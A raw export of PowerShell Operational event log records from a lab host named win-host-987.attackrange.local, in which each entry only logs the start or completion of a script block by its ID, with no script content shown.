SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047409
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047407
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047406
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047389
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047383
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
